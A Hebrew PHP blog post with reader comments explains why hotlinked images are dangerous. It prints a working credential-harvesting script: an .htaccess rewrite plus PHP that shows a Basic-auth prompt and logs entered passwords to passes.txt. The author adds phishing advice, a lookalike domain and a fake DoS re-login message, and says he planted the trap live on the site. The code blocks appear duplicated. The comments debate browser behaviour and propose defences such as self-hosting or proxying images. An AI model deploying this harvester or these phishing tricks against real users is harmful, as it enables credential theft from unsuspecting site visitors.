בפוסט הזה אני הולך להסביר למה אסור להשתמש בתמונות ממקורות זרים.
אני יסביר עם דוגמה.
בואו נגיד יש לכם אתר בשם phpguide, בו כל משתמש יכול להוסיף פוסט לאתר עם תמונות ממקור שלו.
נכתוב כתבה, ונשים בתמונה את הקישור הזה: http://example.com/image.jpg
באתר שלנו בעזרת htaccess נעביר שאילתות מ-image.jpg ל-script.php בצורה הזאת:
RewriteBase /
RewriteEngine on
RewriteRule image.jpg script.php
RewriteEngine on
RewriteRule image.jpg script.php
כאשר ה-script.php נראה כך:
<?php
if (!isset($_SERVER['PHP_AUTH_USER']))
{
$vulnsite = parse_url($_SERVER['REFERER']);
//header('Content-Type: text/html; charset=utf-8');
//header('WWW-Authenticate: Basic realm="'.ucfirst($vulnsite['host']).'Enter your Login and Password"');
//header('HTTP/1.0 401 Unauthorized');
}
else
{
$f = fopen('passes.txt', 'a');
fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n");
fclose($f);
}
header("Content-type: image/jpeg");
$image = imagecreatefromjpeg('image.jpg');
imagejpeg($image); imagedestroy($image);
if (!isset($_SERVER['PHP_AUTH_USER']))
{
$vulnsite = parse_url($_SERVER['REFERER']);
//header('Content-Type: text/html; charset=utf-8');
//header('WWW-Authenticate: Basic realm="'.ucfirst($vulnsite['host']).'Enter your Login and Password"');
//header('HTTP/1.0 401 Unauthorized');
}
else
{
$f = fopen('passes.txt', 'a');
fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n");
fclose($f);
}
header("Content-type: image/jpeg");
$image = imagecreatefromjpeg('image.jpg');
imagejpeg($image); imagedestroy($image);
בשלב הזה לא יקרה שום דבר חשוד. אלכס יבדוק את התמונה, ויראה תמונת jpg רגילה, ויאשר את הפוסט
והתמונה תגיעה לדף הראשי של האתר.
איך שזה קורה, אנחנו מורידים את סימני ההערות מהשורות, ומעכשיו כל מי שנכנס לדף הבית, רואה שהאתר מבקש סיסמה לאתר, ועם סיכוי גבוה הוא ירשום את השם משתמש וסיסמה שיש לו באתר, במחשבה שמי שמבקש את הסיסמה זה phpguide. כדי ליצור יותר אמינות, אפשר לרשום שעכשיו האתר נמצא תחת מתקפת דוס, וכל המשתמשים צריכים להזדהות מחדש, בשילוב עם דומיין: phpgude.co.il
זה יראה מספיק אמין עבור גם משתמש מנוסה, ויכול להביא לפריצה של הרבה משתמשים באתר.
טוב, אני לא באמת ניסיתי לפרוץ למשתמשים באתר, אז החבאתי את זה תחת הקישור: http://phpguide.co.il/?hack
אם אלכס לא ימחק, אז אתם גם תראו :)
אצלי זה עובד ב FireFox, אבל לא עובד בChromium. שמעתי שזה עובד גם ב IE, ולא עובד ב Chrome.
פתרון?
להעתיק את כל התמונות לשרת שלכם.
תגובות לכתבה:
בעיקרון אתה צודק, למרות שהדוגמה הזאת לא עבדה אצלי ב
ubuntu 12.04 LTS
chromium 23 & firefox 18.0
במחשבה שניה זה באמת עובד בפיירפוקס.
נשאיר את זה בינתיים ככה
Like!
לפעמים שוכחים שעם כל ההגנות שאנחנו עושים על הקוד בסוף דברים כאלה הם שמפילים אותנו...
חשוב לזכור לבדוק כל קלט מהמשתמש, ולנקות אותו מתגיות ודברים שיכולים לפעול. בנוסף תמונות מומלץ להעלות לשרת שלכם.
נ.ב.
יכולת לעשות את זה גם פשוט יותר, פשוט הלינק לתמונה היה קובץ php שמחזיר את התמונה, עד אשר היית משנה אותו. אני בספק אם אלכס ממש הסתכל על הלינק לתמונה ולא פשוט על התמונה עצמה.
רעיון נחמד, רק דבר אחד היה מדליק אצלי נורה,
FF, לפחות הגירסה האחרונה, אצלי 18, כותבת מאיזה דומיין הבקשה הזו, וזה במיוחד למקרים כאלו.
אז מה עושים נניח במקרה של פורום?
CaTz, בגלל זה רשמתי להשתמש בדומיין phpgude.co.il.
liorel100, אותו דבר חח, למה שיהיה משהו שונה?
התכוונתי איך מגנים במקרה של פורום....
אה חח, אין לי מושג. אבל האמת גם - אותו דבר.
יש לך פורום? באיזה סקריפט אתה משתמש?
זה חור בדפדפן, לא ב phpguide.
ldbrgr, לא נכון.
זה גם לא חור בדפדפן, זה טריק שמורשה על ידי פרוטוקול http.
כל קובץ יכול לבקש התחברות, גם אם הקובץ בא ממקור אחר. פשוט צריך לקחת את זה בחשבון.
אם היית מדבר על iframes הייתי מבין, אבל אין שום סיבה בעולם שהדפדפן יבקש ממך להזדהות כדי להציג *תמונה* מצד שלישי. ולא רק אני חושב ככה, גם החבר'ה בכרום הבינו שזה חור.
ובכנות מה הקשר "טריק שמורשה על ידי פרוטוקול http"?? מה הטריק פה? למה החלטת שהוא מורשה ע"י פרוטוקול?? עזוב, אתה יודע מה זה פרוטוקול?..
הכל טוב, לא צריך להתרגש :)
נכנסים לאתר w3.org, שמגדיר תקינה ברשת, וקוראים:
http://www.w3.org/Protocols/rfc2616/rfc2616-sec11.html#sec11
זה נכון לכל סוג של קובץ בנפרד. כל אחד מהקבצים שהדפדפן מוריד יכול לבקש התחברות, זה התקן, זה מה שהגדירו.
אם תגיד שw3.org לא קובע תקן, אז פשוט תסתכל על רוב הדפדפנים - הם תומכים באפשרות הזאת.
אני קבעתי שזה מורשה על ידי הפרוטוקול, כי ככה זה תוכנן מלכתחילה, זה לא פספוס של המתכנתים, זה פספוס בתכנון של הפרוטוקול.
הדפדפן רק עוקב אחרי החוקים של הפרוטוקול, והפרוטוקול אומר שכל קובץ יכול לבקש התחברות. זה הכל. איך אני יודע שזה מה שהפרוטוקול קובע? - כי ככה מוגדר בw3.org, וזה מה שמקובל עכשיו ברוב הדפדפנים.
פרוטוקול HTTP גם "מרשה" להשתמש בmethod's שלא נתמכות ע"י כל דפדפן, זה רק מראה את המרחק בין פרוטוקול לדפדפן..
לא יוצאות לי המילים להסביר לך איך זה חור בדפדפן וכמה החוט מחשבה שלי רחוק משלך.
בכל מקרה אין שום סיבה בעולם שהדפדפן יבקש דבר כזה..
התכוונתי איך עושים הגנה במקרה של פורום, שאי אפשר להעלות לעליו את כל התמונות שאנשים שמים שם.
וואו, איזה רעיון פריצה מדהים :)
חחחח זה מחרפן אותי איך האקרים מצליחים לחשוב על דרכי פריצה כאלה :)
אפשר להגן על הפריצה הזאת ע"י שימוש ברפרנס לתמונה במקום לתמונה עצמה, ואני הסביר :
במקום לתת לדפדפן לטעון את התמונה בעצמו אנחנו נטען אותה בשבילו. כך גם נוכל לוודא שהיא באמת תמונה ולא שונתה. כמו כן אפשר להשתמש במנגנוני קאש שונים על מנת לייעל את התהליך.